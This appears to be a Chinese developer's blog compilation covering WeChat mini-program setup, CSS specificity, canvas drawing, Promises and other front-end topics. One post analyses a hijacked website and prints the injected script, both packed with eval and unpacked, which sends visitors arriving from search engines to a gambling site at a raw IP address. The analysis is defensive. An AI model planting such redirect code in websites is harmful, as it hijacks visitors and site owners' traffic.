  • 小程序|小游戏:一个账号(邮箱)对应一个小程序|小游戏

如上,其实公众号与小程序账号是分开的,一开始就没搞懂这个关系,登录上自己已有的公众号账号后,点击「小程序」会有两个按钮「关联已有小程序」和「快速注册小程序」。

image

关联小程序

关联小程序是把已有的小程序关联到公众号。

快速注册小程序

新建立小程序,应该点这里,之后会让你输入一个新的邮箱(未被微信公众平台注册,未被微信开放平台注册,未被个人微信号绑定的邮箱),因为 一个账号对应一个小程序,这个概念一定要搞清楚。

image

然后,就是下一步下一步,还有认证了。

这里要说一下的是,如果你已有已认证的公众号,则在认证这一步可以省很多事情,因为在申请小程序这一步骤的时候,可以勾选「复用现有公众号认证资质」这个功能,后面的小程序不用认证直接就沿用公众号的认证了。

开始开发

注册完小程序账号,上面会有一个 appid,有了这个 appid 就可以开始进行开发了,官方文档挺详细的。

image

有已备案的域名和服务器的话,可以选择的服务器做接口(HTTPS),然后小程序通过 HTTP 请求自己服务器接口的方式。

但现在腾讯也出了 Serverless 方式,还是比较方便的,主要是比较弹性而且不用自己出域名,一些小程序刚开始的时候量比较少就花的钱比较少,后期暴增啥的也不用操心增加服务器啥的,会按照实际访问量来收费的。
另外还有个好处就是,云开发不用自己维护 openid、access_token 这些信息。

云开发目前有两种模式:云开发、云托管

一、云开发:云函数+JSON数据库,门槛低,以函数为单元开发(个人开发者首选)

云开发的入口在微信开发者式具的顶部偏左位置:
image

费用比较便宜,对个人开发者最友好,以下是首月的免费用量:

image

个人开发者的话,建议先选择 19 块钱/月的就够了:

image

云数据库调用方式

云函数的数据库调用有两种方式,一种是小程序直接调用,一种是云函数调用,两种方式会有场景上的不同。

小程序调用:会在查询条件自动带上 openid,因为小程序是针对个人的,个人不可能去操作整个数据库
云函数调用:跟普通的数据库操作没什么两样,会有整个数据库的全操作权限

常见问题:云函数调用失败?

云函数不要在IDE右键新建,不然会有 nodejs 版本的问题导致函数调用不成功,建议在 IDE 打开的云管理面析新建函数,再通过 IDE 同步下来再开发。

image image

我在微信开发者工具(IDE)内开通云开发环境,为什么登录腾讯云云开发不可见我的环境呢?

在微信开发者工具(IDE)中开通云开发时,会创建一个新的腾讯云账号,您需要使用小程序公众号登录方式,扫码登录腾讯云云开发控制台,选择对应的小程序,才可见微信开发者工具(IDE)内创建的云开发环境。

参考官方文档:https://cloud.tencent.com/document/faq/876/57380

二、云托管:Docker 云托管,比较自由,门槛也比较高(亲测会常有部署失败的问题)

信息修改限制

小程序的一些信息是可以修改的,但是会有次数限制。

1. 基本设置

  • 小程序头像:一个月内可申请修改5次
  • 小程序介绍:一个月内可申请5次修改
  • 服务类目:一个月内可申请修改3次
  • 登录邮箱:一个月内可申请修改1次
  • 密码:用管理员微信扫码验证后,可修改

小程序名称

小程序发布前,可修改2次名称。发布后,必须通过微信认证流程改名。
image

2. 开发设置

  • 服务器域名HTTPS LTS 1.2+(网络请求需要):一个月内可申请5次修改
  • 业务域名HTTPS(web-view需要):最多可以添加20个业务域名,一年只可修改50次业务域名
  • 项目成员(开发、调试、体验版等):一共可以添加90人,只能通过微信号搜索添加

发布审核

微信平台上可以管理「开发版本」「审核版本」和「线上版本」,在开发者工具点击「上传」即可把代码上传到平台上,可以设置版本号和描述信息。

image

审核时间

微信的审核时间还可以,个人经验,审核时间大概在 2 ~ 2.5 小时左右,而且好像不分上下班时间,反正我有一次是晚上 10 点多通过的审核,更晚的就没试过了。

不过,如果小程序名称是有涉及到企业品牌或者商标的(比如「豌豆荚」),需要上传相关文件的,审核时间就相对长一点,这也看审核人员的心情,大概也就是一两天左右。不过第一次审核通过后,后面的升级就没影响了。

image

image

大数相加

JS 和任何一门语言一样,对其数值的范围有限制。

Number.MAX_VALUE // 1.7976931348623157e+308
Number.MAX_SAFE_INTEGER // 9007199254740991
Number.MIN_VALUE // 5e-324
Number.MIN_SAFE_INTEGER // -9007199254740991

如果我们想要对一个超大的整数(> Number.MAX_SAFE_INTEGER)进行加法运算,但是又想输出一般形式,那么使用 + 是无法达到的,一旦数字超过 Number.MAX_SAFE_INTEGER 数字会被立即转换为科学计数法,并且数字精度相比以前将会有误差。在此时就需要自己实现一套加法算法。

function sum(a, b) {
    var res = '', temp = 0, aSymbol = '', bSymbol = '', num1, num2, lastSymbol = '';
    if (a < 0) {
        aSymbol = '-';
        a = a.substring(1);
    }

    if (b < 0) {
        bSymbol = '-';
        b = b.substring(1);
    }
    aArr = a.split('');
    bArr = b.split('');

    while (aArr.length || bArr.length || temp) {
        if (aSymbol === bSymbol) { // 加法
            temp += ~~aArr.pop() + ~~bArr.pop();
            res = temp % 10 + res;
            temp = temp > 9 ? 1 : 0;
            lastSymbol = aSymbol;
        } else { // 减法(大减小)
            num1 = ~~aArr.pop();
            num2 = ~~bArr.pop();
            if (parseInt(a, 10) < parseInt(b, 10)) {
                temp += num2 - num1;
                if (temp < 0) {
                    temp += 10;
                    res = temp % 10 + res;
                    temp = -1;
                } else {
                    res = temp % 10 + res;
                    temp = 0;
                }
                lastSymbol = bSymbol;
           } else {
                temp += num1 - num2;
                if (temp < 0) {
                    temp += 10;
                    res = temp % 10 + res;
                    temp = -1;
                } else {
                    res = temp % 10 + res;
                    temp = 0;
                }
                if (parseInt(a, 10) > parseInt(b, 10)) {
                    lastSymbol = aSymbol;
                }
            }
        }
    }
    res = res.replace(/^0+/, '');
    if (!res) {
        res = '0';
    } else {
        res = lastSymbol + res;
    }
    return res
}

如何保证代码无BUG

/**
 * ━━━━━━神兽出没━━━━━━
 *      ┏┓   ┏┓
 *     ┏┛┻━━━┛┻┓
 *     ┃       ┃
 *     ┃   ━   ┃
 *     ┃ ┳┛ ┗┳ ┃
 *     ┃       ┃
 *     ┃   ┻   ┃
 *     ┃       ┃
 *     ┗━┓   ┏━┛
 *       ┃   ┃  Code is far away from bug with the animal protecting
 *       ┃   ┃  神兽保佑,代码无bug
 *       ┃   ┗━━━┓
 *       ┃       ┣┓
 *       ┃       ┏┛
 *       ┗┓┓┏━┳┓┏┛
 *        ┃┫┫ ┃┫┫
 *        ┗┻┛ ┗┻┛
 *
 * ━━━━━━感觉萌萌哒━━━━━━
 */

获取微信小程序某页面的小程序码、SCHEME和外部URL

生成小程序具体页面的小程序码,官方给了接口,我们可以通过 postman 来手动生成:

  1. 通过 AppId 和 AppScret 获取 access_token
  2. 通过 access_token 获取 小程序码
  3. 通过 access_token 获取 小程序SCHEME
  4. 通过 access_token 获取 小程序外部呼起链接

注意:

  • POST 参数需要转成 JSON 字符串,不支持 form 表单提交(postman: body->raw)
  • 接口只能生成已发布的小程序的二维码
  • 路径带参数,可以这么传:path: shop/shop?id=1
  • 有10万次生成次数限制,所以,最好生成过的记录起来,避免重复生成浪费次数

前端动画

前端动画

技术选型

动画效果和场景不同,需要的技术实现方式也不同,让我们一起来探索下各需求场景下适合的技术实现方式吧(古人云:前端动画不只有 CSS3 的^_^)

一、播放式

播放式的动画场景,类似动画片一样的一播到底,一般交互会比较少,最多也就是在中途跳个按钮打断一下。
像这种场景,自然而然的我们会想到了视频,或者 canvas ,嗯没错,这里应该没人会说 CSS3 吧!

方案1:Animate + flash2x + AnnieJS

  • Animate:制作动画 flash
  • Flash2x:把 flash 导出前端代码
  • AnnieJs:组织导出来的代码,做二次开发

这种情况,工作量大多都集中在前期的动画设计上,也就是UI同学的活了,前端开发人员来说,只需要把做好的 flash 动画导出来做下适配,增加点业务逻辑即可。
当然,直接导出来的代码往往需要加工一下,比如做下延时加载、合并请求和资源回收等,这个需要自己在实际工作中慢慢探索。

线上例子:http://campaign.wandoujia.com/market/vincent/

方案2:视频播放

视频播放,其实就是使用 video 标签来播放视频,但是这种方案会有很多兼容性的问题,比如在安卓 webview 上,点击播放会自动全屏的问题,再比如 UC 浏览器播放视频会有个去不掉的操作栏挡在前面等等,因此到目前为止视频我们用的最少。

但是,我们发现微信的H5很多时候都有使用视频播放,比如之前的薛之谦的那个宣传页。没办法,人家兼容性不用考虑(只需考虑微信),而微信对视频的控制也有白名单机制,内部使用无障碍。

方案3:图片轮播

这,这方法是不是太笨了……
其实,没有笨方法,只有笨的使用者!
如果场景太长,其实就不太适合使用该方案了,因为图片太多,加载是一个问题,渲染更是一个问题。
该方法比较适合用到一些短的动画,比如一些转场动画,或者重复的展示广告小块,比如动态 logo 什么的。
该方案需要关注图片预加载和释放的问题。

二、

……未完待续

好文推荐:

CSS优先级扫盲

最近发现,挺多同学对 CSS 的优先级(权重)都了解不深,或者在学习的过程中比较容易忽略,一般也只知道「后来优先」这一原则,这里就整理一下做个扫盲贴吧!

  • 给目标元素直接添加样式,永远比继承的优先级高
  • 后来优先(覆盖原则)
  • 无视 DOM 树中的距离(body headerhtml header 是一样的)

权重表

通用选择器(*)< 标签元素(div) < 类(.) < 属性 < 伪类 < ID(#) < 内联

选择器 权重 举个例子
标签和伪元素 1 div, ::before
类、属性、伪类 10 .btn, [type="radio"], :hover
ID 100 #detail
内联 1000 style=""

:not 否定伪类在优先级计算中不会被看作是伪类。

权重计算

/* 权重:1 */
div {
}

/* 权重:10 */
.btn {
}

/* 权重:100 */
#detail {
}

/* 权重:10 + 1 = 11 */
.btn div {
}

/* 权重:100 + 1 = 101 */
#detail div {
}

/* 权重:100 + 10 + 1 = 111 */
#detail .btn div {
}

!important

使用 !important 将覆盖任何其他声明。
但是,不推荐使用 !important,能不用尽量别用,因为它会破坏样式表中固有的级联规则 ,使得调试找 bug 变得更加困难。

当两条相互冲突的带有 !important 的规则的声明被应用到相同的元素上时,拥有更大优先级的声明会被采用。

对于 !important,有几个建议:

  • 能不用则不用
  • 要用,也只能在独立页面用
  • 永远不要在全站范围的 css 上使用 !important
  • 永远不要在你的插件(组件/库)中使用 !important

补充

搜索引擎劫持的探秘之旅

早上有位同学找我求救,说她朋友的一个网站有点奇怪,如下:

站点:http://www.dzxtx.com/

  • 在浏览器直接访问链接,没问题
  • 百度搜索 “徳智行天下”,搜索结果点击进去会打开另外一个赌博网站

如图:
【1. 网站直接访问,页面正常】
image

【2. 百度搜索,排在前三都是(这个 SEO 做的可以啊)】
image

【点击前三的任意一个,意外发生,进去的是一个赌博网站】
image

好吧,不得不说,这站点的 SEO 做的还是不错的,起码搜索关键词,前三都是他们的,这么好的流量入口,就这么被硬生生的被别人给劫走了,关键还是一个害人的赌博网站(这些网站还真是春风吹又生啊)。

其实一看就知道被劫持了。但是劫持的方式有很多种:参考这里

今天难得遇到一个现成的劫持的案例,不去分析下感觉有点对不起自己的好奇心!

好吧,开搞!

首先,打开 Chrome Dev Tools,看下网络请求的情况!

【复制百度搜索出来的第一个链接:首页-德智行天下,可以看到其中的网络请求如下】
image

从网络请求来看,还是挺正常的,起码,解释到的 IP 地址是对的。
但是看不到服务器返回的 html 文档数据,这是因为 HTTPS 的原因吧,看第一行请求,是百度快照的 HTTPS 的地址。

【嗯,这个时候就到截包神器 “Charles” 出场了!】
image

好吧,再次受挫,HTTPS 内容看不到。
不过没关系,“Charles” 之所以称之为神器,当然还有杀手锏。

找出钥匙串,添加 HTTPS 证书吧,呃,不懂的点这里

【添加好后,重来一次】
image

【嗯,这下出来了,可算能看到百度快照里加载的原站点的 html 文档内容了】
image

仔细一看,在 head 标签里发现了有这么一段奇怪代码,一看就知道是 “好东西”,哈哈!

【把代码 copy 出来看看】

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3("<4 8=\\"a\\">");2.3("d s=2.6");2.3("7(s.1(\\"9\\")>0 || s.1(\\"b\\")>0 || s.1(\\"c\\")>0 ||s.1(\\"r\\")>0 ||s.1(\\"e\\")>0 ||s.1(\\"f\\")>0 ||s.1(\\"g\\")>0 ||s.1(\\"h\\")>0 )");2.3("i.j=\\"k://l.m.n.o:p/q/5/\\";");2.3("</4>");',29,29,'|indexOf|document|writeln|script|31pc|referrer|if|LANGUAGE|baidu|Javascript|sogou|soso|var|uc|bing|yahoo|so|location|href|http|162|218|54|53|1111|libo|sm|'.split('|'),0,{}))

呃,什么鬼,好像有点看不懂,就看到了 eval 这个让人看到就觉得可怕的函数,里面的内容还不看懂!!!
好吧,其实这段只是压缩了的 JS 代码,可以在线解解:
百度搜一下 “JS在线解压”,到这里 http://tool.lu/js/

【解出来终于能见到其真面目了】

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"http://162.218.54.53:1111/libo/31pc/\";");
document.writeln("</script>");

好吧,到这里,一切都已经很明显了,这代码应该比较轻松能读懂,就是判断是搜索引擎过来的就直接跳转到指定的页面(也就是上面所说的 “赌博网站”)。

解决方案

问题已经找到了,接下来就要解决之

找“百度快照”,投诉之

image
image

做完这些后,其实还不够,因为就算投诉让百度更新了快照,但页面劫持问题没解决,还是没用。
所以,还要做的事情就是:“解决劫持” 问题。

上面也已经提到了,劫持的方式有很多,一般的注入方式可以通过禁用 document.write 等方式去简单解决(当然没这么简单),但是并不能完全解决问题。

而目前最好的方式就是:上 HTTPS ,而且,这也是目前为止知道的一劳永逸的唯一的办法了。

最后,想问下哪里可以有这种违规网站的举报渠道,像这种害人的网站,远比“色情”网站更应该被封……

净化网络环境,从我做起!

微信小程序开发-webview页面的分享处理

微信小程序有个 web-view 组件,有了它,微信就相当于变成了个浏览器了,让小程序有了无限的可能,简直就是前端同学的福音。

当然,它也有一定的限制,比如:

  • 只能打开 HTTPS 链接的页面
  • 只能打开已认证的「业务域名」下的链接

image

有了它,可以让网站的小程序化变的非常简单,只要把 HTTPS 支持上即可,一行代码实现一个小程序,这都不是梦 ^_^

<!-- wxml -->
<web-view src="https://www.xxx.com/"></web-view>

分享功能实现

小程序的最大优势也在于它的流量上面,而流量的获取,就免不了分享功能。在 web-view 里分享出去的页面,怎么与首页形成回流关系,整体流程该怎么走,相信用过这个组件的同学都会遇到这个问题。

参考了网上的资料(微信小程序,实现内嵌网页的分享),折腾了一翻,终于把整个流程搞通了,具体实现思路这里给分享一下。

一、大概思路

一共两个原生页面,一个作为小程序入口,一个作为二级页面承载页:

  1. 首页 pages/index:小程序入口(包含分享后的页面)
  2. 二级页 pages/share:承载分享出去的具体详情页面
  3. 分享实现:分享页面选用首页 pages/index,通过 ?shareUrl= 参数把分享 URL 带进来
  4. 首页通过 shareUrl 参数获取分享 URL,调用 wx.navigateTo 调起二级页面 pages/share 来打开具体 URL

二、具体步骤(基于 wepy 框架介绍)

1. app.wpy 声明个变量,用于存放内嵌页地址

// app.wpy

globalData = {
  userInfo: null,
  ctxPath: 'https://www.demo.com'
}

2. 建立两个页面

  • 首页:pages/index
  • 分享页:pages/share

3. 首页路由处理 index.wpy

<template>
  <web-view src="{{web_src}}"></web-view>
</template>

<script>
  data = {
    web_src: ''
  }

  onLoad(options) {
    let self = this
    self.setData({
      web_src: self.$parent.globalData.ctxPath // 设置首页 web-view 链接
    })

    if (options.shareUrl) { // 如果有分享链接带进来,则调起二级页来打开
      wx.navigateTo({
        url: './share?shareUrl=' + options.shareUrl
      })
    }
  }
</script>

4. 二级页实现 share.wpy

<template>
  <web-view src="{{share_src}}"></web-view>
</template>

<script>
  onLoad(options) {
    let self = this
    self.setData({
      share_src: decodeURIComponent(options.shareUrl)
    })
  }
</script>

5. 分享逻辑

首页分享逻辑 index.wpy

onShareAppMessage(options) {
  let self = this
  let path = 'pages/index'

  if (self.$parent.globalData.ctxPath.indexOf(options.webViewUrl) !== 0) { // 不能直接用相等判断,有#参数会被截断的可能
    path += '?shareUrl=' + encodeURIComponent(options.webViewUrl) // 当时页不是首页,把当前页面链接以参数形式带到分享出去的链接里,记得 url encode 一下,不然会被截断
  }

  return {
    title: 'xxx',
    path: path
  }
}

分享页分享逻辑 index.wpy

onShareAppMessage(options) {
  let path = 'pages/index?shareUrl=' + encodeURIComponent(options.webViewUrl) // 记得这里分享路由是首页而不是当前页,首页作为小程序的惟一入口

  return {
    title: 'xxx',
    path: path
  }
}

按照以上的逻辑,可以实现一套完整的基于内嵌页的小程序分享链路,无论分享的是首页还是具体的详情页面,点击进来都先进来首页,然后根据需要再去导航到其他二级页面。

BUG & Tip

  • 网页内iframe的域名也需要配置到域名白名单。
  • 开发者工具上,可以在 <web-view/> 组件上通过右键 - 调试,打开 <web-view/> 组件的调试。
  • 每个页面只能有一个 <web-view/><web-view/> 会自动铺满整个页面,并覆盖其他组件。
  • <web-view/> 网页与小程序之间不支持除 JSSDK 提供的接口之外的通信。
  • 在 iOS 中,若存在 JSSDK 接口调用无响应的情况,可在 <web-view/> 的 src 后面加个 #wechat_redirect 解决。

利用Promise的状态机制,避免函数被重复调用

Promise 的实例对象有三个状态:pending, fulfilled, rejected,如下图:

image

我们可以理解成两种状态:「初始化(pending)」和「结束(resolve|reject)」,而且它是一个不可逆的过程。也就是说,一个 promise 新对象一开始是 pending 状态,一旦调用了 resolve 或者 reject 后,就会变成结束状态,不可逆。

下面举几个栗子:

async function foo() {
  setTimeout(function() {
    return Promise.resolve();
  }, 1000);
}

看上面这个函数,也是常用的一种写法,每次调用它都会延时1秒。

async function foo() {
  return new Promise(resolve => {
    setTimeout(function() {
      resolve();
    }, 1000);
  })
}

同样的,这个函数也是一样效果。但是有一点不一样的是,这个函数它返回的是一个新实例化的 Promise 对象,我们可以利用它来实现一些不一样的场景。

比如一个页面,它的初始化配置信息需要从网络上请求,其实就是异步获取,有了 Promise,我们可以这么解决:

async function foo() {
  return new Promise(resolve => {
    setTimeout(function() {
      resolve(123);
    }, 1000);
  })
}

// 初始化的时候去请求
const handler = foo();

// 其他地方查询配置信息,有两种可能:
// - foo 函数还没请求完:会等待完成后再返回
// - foo 函数已请求完:马上返回
const config = await handler; // 123

这样,它只会请求一次网络请求,以后每次查询都会马上返回。

整理:10年前C语言写的几个Windows字符界面经典小游戏(贪吃蛇、迷宫、俄罗斯方块)

最近整理了下10年前用C语言写的几个经典小游戏,都是基于 Windows 的 Win-Api 实现的 字符界面展示,感觉还是挺有意思的,现在回看代码很多都已经忘记了。

有兴趣的可以去下载体验一下(需要 Windows 机器),每个项目的 /bin/release 文件夹下载下来都是编译好可运行的程序。

游戏引擎

所谓游戏“引擎”也是自己实现的,其实就是一个简单的 定时器,不停的轮询,每隔一小段时间就去检测一下数据状态,通过数据的改变不停的刷新页面的展示。

游戏开发核心**

这类小游戏的开发,有几个核心概念:定时器、状态数据、控制器、图形渲染

  • 定时器:loop(数据 => 界面展示)
  • 状态数据:有限状态机、数据
  • 控制器:接收外部输入(键盘、鼠标、手柄等),改变数据和游戏状态(不用管界面展示)
  • 图形渲染:不同的平台和终端,会有不同的渲染引擎(比如这个例子都是基于 Windows Win-Api 实现的字符界面展示)

一、贪吃蛇

snake

贪吃蛇H5版

之前在学习前端开发的时候,也把贪吃蛇改编成 H5 版本 的,点击打开可玩。

h5 snake

二、迷宫小游戏

迷宫地图的生成算法是参考 “图的深度优先算法” 自己写的。

maze

maze

三、俄罗斯方块

tetris

canvas 基本用法

栅格与坐标

Canvas 的画面栅格以及坐标空间跟 css 的不一样,它是以左上角为原点,横向为 X 轴,纵向为 Y 轴,如图。所有元素的位置都相对于原点定位。
image

图形

首先实例化个 canvasctx

var canvas = document.createElement('canvas');
// canvas.width = 320;
// canvas.height = 240;
var ctx = canvas.getContext('2d');

画矩形

画实心矩形

ctx.fillStyle = 'rgba(255, 0, 0, .6)'; // 设置填充颜色(默认为黑色)

ctx.fillRect(10, 10, 200, 100); // 填充颜色
// 也可以这样
// ctx.rect(10, 10, 200, 100);
// ctx.fill();

ctx.clearRect(20, 20, 80, 50); // 清空一个矩形区域

image

画空心矩形

ctx.strokeStyle = 'rgba(255, 0, 0, .6)'; // 设置绘制线条的颜色

ctx.strokeRect(10, 10, 200, 100);
// 也可以这样
// ctx.rect(10, 10, 200, 100);
// ctx.stroke();

image

画圆 ctx.arc()

image

画实心圆

ctx.fillStyle = 'rgba(255, 0, 0, .6)'; // 设置填充颜色

ctx.arc(200, 80, 50, 0, 2 * Math.PI); // 绘制圆
ctx.fill(); // 填充颜色

ctx.arc(80, 80, 50, 0, Math.PI); // 半圆
ctx.fill(); // 填充颜色

image

画空心圆

ctx.arc(200, 100, 50, 0, 2 * Math.PI); // 绘制圆

ctx.strokeStyle = 'rgba(255, 0, 0, .6)'; // 设置绘制线条的颜色
ctx.lineWidth = 1; // 设置绘制线条的宽度(默认为 1)
ctx.stroke(); // 绘制线条

image

画线

ctx.moveTo(100, 50); // 设置线的起始位置
ctx.lineTo(200, 100); // 设置线的结束位置

ctx.strokeStyle = 'rgba(255, 0, 0, .6)'; // 设置绘制线条的颜色
ctx.lineWidth = 5; // 设置绘制线条的宽度
ctx.stroke(); // 绘制

image

画虚线

ctx. setLineDash() 方法可以支持绘制虚线。

ctx.setLineDash([5, 10, 15]);
console.log(ctx.getLineDash()); // [5, 10, 15]

ctx.strokeStyle = 'rgba(255, 0, 0, .6)'; // 设置绘制线条的颜色
ctx.lineWidth = 2; // 设置绘制线条的宽度

ctx.arc(100, 150, 50, 0, 2 * Math.PI);

ctx.moveTo(100, 50); // 设置线的起始位置
ctx.lineTo(200, 100); // 设置线的结束位置

ctx.stroke(); // 绘制

image

跑马灯效果

ctx.lineDashOffset 属性设置虚线的偏移量,可以利用它来非常简单的实现跑马灯效果。

var offset = 0;

function draw() {
  ctx.clearRect(0, 0, canvas.width, canvas.height);
  ctx.setLineDash([4, 2]);
  ctx.lineDashOffset = -offset;
  ctx.strokeRect(10, 10, 100, 100);
}

function march() {
  offset++;
  if (offset > 16) {
    offset = 0;
  }
  draw();
  setTimeout(march, 20);
}

march();

image

渐变效果 Gradients

就好像一般的绘图软件一样,我们可以用线性或者径向的渐变来填充或描边。
我们用下面的方法新建一个 canvasGradient 对象,并且赋给图形的 fillStylestrokeStyle 属性。

var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);

创建出 canvasGradient 对象后,我们就可以用 addColorStop 方法给它上色了。

gradient.addColorStop(position, color),接受 2 个参数,position 参数必须是一个 0.0 与 1.0 之间的数值,表示渐变中颜色所在的相对位置。例如,0.5 表示颜色会出现在正中间。color 参数必须是一个有效的 CSS 颜色值(如 #FFFrgba(0, 0, 0, 1),等等)。

你可以根据需要添加任意多个色标(color stops)。下面是最简单的线性黑白渐变的例子。

var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
lineargradient.addColorStop(0, 'white');
lineargradient.addColorStop(1, 'black');

举个栗子

var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
lineargradient.addColorStop(0, '#ff0000');
lineargradient.addColorStop(0.5, '#0000ff');
lineargradient.addColorStop(0.5, '#ffffff');
lineargradient.addColorStop(1, '#00ff00');
ctx.fillStyle = lineargradient;
ctx.fillRect(10,10,130,130);

var radialgradient = ctx.createRadialGradient(45, 45, 10, 52, 50, 30);
radialgradient.addColorStop(0, '#A7D30C');
radialgradient.addColorStop(0.9, '#019F62');
radialgradient.addColorStop(1, 'rgba(1, 159, 98, 0)');
ctx.fillStyle = radialgradient;
ctx.fillRect(20, 20, 150, 150);

image

画三角形

ctx.beginPath();
ctx.fillStyle = 'rgba(255, 0, 0, .6)';
ctx.moveTo(75,50);
ctx.lineTo(100,75);
ctx.lineTo(100,25);
ctx.fill();

image

绘制文本

  • fillText(text, x, y [, maxWidth]): 在指定的(x,y)位置填充指定的文本,绘制的最大宽度是可选的
  • strokeText(text, x, y [, maxWidth]): 在指定的(x,y)位置绘制文本边框,绘制的最大宽度是可选的
ctx.strokeStyle = 'rgba(255, 0, 0, .6)';
ctx.fillStyle = 'rgba(255, 0, 0, .6)';

ctx.font = "48px 微软雅黑"; // 文本字体样式
ctx.fillText("Hello world", 10, 50);
ctx.strokeText("Hello world", 10, 150);

image

阴影

ctx.strokeStyle = 'rgba(255, 0, 0, .6)';
ctx.fillStyle = 'rgba(255, 0, 0, .6)';

ctx.font = "48px 微软雅黑"; // 文本字体样式

ctx.shadowOffsetX = 2;
ctx.shadowOffsetY = 2;
ctx.shadowBlur = 2;
ctx.shadowColor = 'rgba(0, 0, 0, 0.5)';

ctx.fillText('Hello world', 10, 50);
ctx.strokeText('Hello world', 10, 150);

image

文本支持的样式

字段 注释 可选值 默认
ctx.font 文本字体的样式 CSS font 属性相同的语法 10px sans-serif
ctx.textAlign 文本对齐 start, end, left, right or center start
ctx.textBaseline 基线对齐 top, hanging, middle, alphabetic, ideographic, bottom alphabetic
ctx.direction 基线方向 ltr, rtl, inherit inherit
ctx.shadowOffsetX 阴影在 X 轴的延伸距离,它们是不受变换矩阵所影响的。负值表示阴影会往左延伸,正值则表示会往右延伸 0.0
ctx.shadowOffsetY 阴影在 Y 轴的延伸距离,它们是不受变换矩阵所影响的。负值表示阴影会往上延伸,正值则表示会往下延伸 0.0
ctx.shadowBlur 阴影的模糊程度,其数值并不跟像素数量挂钩,也不受变换矩阵的影响 0.0
ctx.shadowColor shadowColor 是标准的 CSS 颜色值,用于设定阴影颜色效果 全透明的黑色

获取文本更多细节

绘制文本之前,如果想提前计算出更多的文本细节(比如宽度),下面的方法可以给你测量文件的方法。

ctx.measureText(),返回一个 TextMetrics 对象的宽度、所在像素,这些体现文本特性的属性。

ctx.font = "28px 微软雅黑";
var text = ctx.measureText("foo"); // TextMetrics object
console.log(text.width); // 43.259979....

绘制图片

canvas 更有意思的一项特性就是图像操作能力。

1. 图片源

canvas 支持的图片源有:

  • HTMLImageElement: 由 Image() 函数构造出来的,或者任何的 元素
  • HTMLVideoElement: 用一个 HTML 的
  • HTMLCanvasElement: 可以使用另一个 元素作为你的图片源
  • ImageBitmap: 这是一个高性能的位图,可以低延迟地绘制,它可以从上述的所有源以及其它几种源中生成

SVG 图像必须在 <svg> 根指定元素的宽度和高度。

这些源统一由 CanvasImageSource 类型来引用。

2. 绘制图片

普通绘制

drawImage(image, x, y)

  • image: image 或者 canvas 对象
  • xy: 绘制原点
var img = new Image();
img.onload = function() {
  ctx.drawImage(img, 20, 10);
  ctx.beginPath();
  ctx.fillStyle = 'rgba(255, 0, 0, .6)';
  ctx.arc(220, 60, 30, 0, 2 * Math.PI);
  ctx.fill();
}
img.src = 'https://p1.ssl.qhmsg.com/dr/270_500_/t0154d7996fa9a99e93.jpg';

image

缩放图片

drawImage(image, x, y, width, height),这个方法比前面的加多了两个参数:

  • width: 写入画布时图片的宽度
  • height: 写入画布时图片的高度
var img = new Image();
img.onload = function() {
  ctx.drawImage(img, 20, 10, this.width/2, this.height/2);
  ctx.beginPath();
  ctx.fillStyle = 'rgba(255, 0, 0, .6)';
  ctx.arc(220, 60, 30, 0, 2 * Math.PI);
  ctx.fill();
}
img.src = 'https://p1.ssl.qhmsg.com/dr/270_500_/t0154d7996fa9a99e93.jpg';

image

图片切片绘制

drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight),方法名一样,但是参数多了。

image

var img = new Image();
img.onload = function() {
  ctx.drawImage(img, 20, 10, this.width/2, this.height/2); // 缩放一半
  ctx.drawImage(img, 40, 10, 200, 200, 160, 120, 100, 100); // 切片绘制
  ctx.beginPath();
  ctx.fillStyle = 'rgba(255, 0, 0, .6)';
  ctx.arc(220, 60, 30, 0, 2 * Math.PI);
  ctx.fill();
}
img.src = 'https://p1.ssl.qhmsg.com/dr/270_500_/t0154d7996fa9a99e93.jpg';

image

3. 图案模式

跟 CSS 的 background 有点像,也跟上面的渐变有点类似,canvas 提供了 createPattern(image, type) 方法来支持通过图片来建立图案模式。

type 取值跟 background-repeat 类似:

  • repeat
  • repeat-x
  • repeat-y
  • no-repeat

图案的应用跟渐变很类似的,创建出一个 pattern 之后,赋给 fillStyle 或 strokeStyle 属性即可。

var img = new Image();
img.src = 'https://ss0.bdstatic.com/70cFvHSh_Q1YnxGkpoWK1HF6hhy/it/u=4038478576,3629790264&fm=27&gp=0.jpg';
img.onload = function(){
  var ptrn = ctx.createPattern(img, 'repeat');
  ctx.fillStyle = ptrn;
  ctx.fillRect(10, 10, 300, 220);
}

image

4. 被「污染」的 canvas

HTML 规范中图片有一个 crossorigin 属性,结合合适的 CORS 响应头,就可以实现在画布中使用跨域 元素的图像。

尽管不通过 CORS 就可以在画布中使用图片,但是这会污染画布。一旦画布被污染,你就无法读取其数据。例如,你不能再使用画布的 toBlob(), toDataURL()getImageData() 方法,调用它们会抛出安全错误。

这种机制可以避免未经许可拉取远程网站信息而导致的用户隐私泄露。

Canvas 的填充规则

当我们用到 fill(或者 clipisPointinPath)你可以选择一个填充规则,该填充规则根据某处在路径的外面或者里面来决定该处是否被填充,这对于自己或者自己路径相交或者路径被嵌套的时候是有用的。

  • nonzero(默认)
  • evenodd

比如 ctx.fill('evenodd')

ctx.beginPath(); 
ctx.fillStyle = 'rgba(255, 0, 0, .6)';
ctx.arc(50, 50, 30, 0, Math.PI*2, true);
ctx.arc(50, 50, 15, 0, Math.PI*2, true);
ctx.fill('nonzero');

ctx.beginPath(); 
ctx.fillStyle = 'rgba(0, 255, 0, .6)';
ctx.arc(150, 50, 30, 0, Math.PI*2, true);
ctx.arc(150, 50, 15, 0, Math.PI*2, true);
ctx.fill('evenodd');

image

canvas 支持的属性补充

类似 ctx.fillStyle,canvas 还有支持其他的属性,如下表。

字段 注释 默认
